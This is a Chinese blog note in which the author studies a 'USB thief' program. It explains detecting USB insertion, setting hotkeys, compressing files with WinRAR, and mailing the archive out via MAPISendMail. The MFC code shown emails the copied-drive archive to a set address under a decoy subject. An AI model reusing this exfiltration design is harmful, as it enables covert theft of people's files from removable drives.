本文共 2476 字,大约阅读时间需要 8 分钟。
嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:读了其源码,学到一些东西: (1) 判断移动设备的插入/拔出 嘿嘿, 以前一直觉得很神秘的"判断是否有U盘插入"其实就是这么一回事! 下面照搬作者本人的注解吧: 要先加头文件#include "dbt.h" 1.Message==WM_DEVICECHANGE当设备被插入/拔出的时候,WINDOWS会向每个窗体发送WM_DEVICECHANGE 消息,当消息的wParam 值等于 DBT_DEVICEARRIVAL 时,表示Media设备被插入并且已经可用;如果wParam值等于DBT_DEVICEREMOVECOMPLETE,表示Media设备已经被移出。它们的lParam都指向一个 DEV_BROADCAST_HDR结构体,其原形如下: typedef struct _DEV_BROADCAST_HDR { DWORD ;DWORD ;DWORD ;} DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR; 这个结构体仅仅是一个“头”(HDR),其后还有附加数据,dbch_size表示结构体实例的字节数,当其中的dbch_devicetype字段值等于DBT_DEVTYP_VOLUME时,表示当前设备是逻辑驱动器,且lParam实际上指向的应该是DEV_BROADCAST_VOLUME 结构体实例typedef struct _DEV_BROADCAST_VOLUME { DWORD ;DWORD ;DWORD ;DWORD ;WORD ;} DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;其中dbcv_unitmask 字段表示当前改变的驱动器掩码,第一位表示驱动器号A,第二位表示驱动器号B,第三位表示驱动器号C,以此类推…… dbcv_flags 表示驱动器的类别,如果等于1,则是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0 (2)设置热键 以前设置热键没有用到 CHotKeyCtrl 这个控件. 今天看了下,发现用起来相当的方便.配合 RegisterHotKey 很实用 (3) 后台压缩文件,发邮件
WinRAR的一些命令: ![]() ![]() ![]() ![]()
// 发邮件 // 不知道怎么回是,VC 6.0的编译器出问题了,一复制出来,汉字都是乱码void CDlg::OnSendMail(){ if(bCopy){ if(this->OnWinrarPress()) { HMODULE hMod = LoadLibrary("MAPI32.DLL"); ULONG (PASCAL *lpfnSendMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG); (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail"); CString sAddress = this->m_MailAddress; CString sName=this->m_CopyPath; sName+=".rar"; MapiRecipDesc recip; memset(&recip,0,sizeof(MapiRecipDesc)); recip.lpszAddress = sAddress.GetBuffer(0); recip.ulRecipClass = MAPI_TO; recip.lpszName = sAddress.GetBuffer(0); MapiFileDesc FileDesc; memset(&FileDesc,0,sizeof(FileDesc)); FileDesc.lpszPathName=sName.GetBuffer(0); FileDesc.nPosition=(ULONG)-1; MapiMessage message; memset(&message,0,sizeof(message)); message.nRecipCount = 1; message.lpRecips = &recip; message.nFileCount = 1; message.lpFiles = &FileDesc; message.lpszSubject = "Happy Every Day :-)"; message.lpszNoteText = "XXXXXX"; CWnd *pCurrentWnd = CWnd::GetSafeOwner(NULL,NULL); int nError = lpfnSendMail(0,0,&message,MAPI_LOGON_UI | MAPI_DIALOG,0); if(nError != SUCCESS_SUCCESS && nError != MAPI_USER_ABORT && nError!= MAPI_E_LOGIN_FAILURE) { AfxMessageBox(AFX_IDP_FAILED_MAPI_SEND); } pCurrentWnd->SetActiveWindow(); FreeLibrary(hMod); }}}---------------------------------------- sudami.分割线-------------------------------------------- 标记几个API,免得忘了: SHFileOperation、_splitpath、_makepath
|
转载地址:http://apnob.baihongyu.com/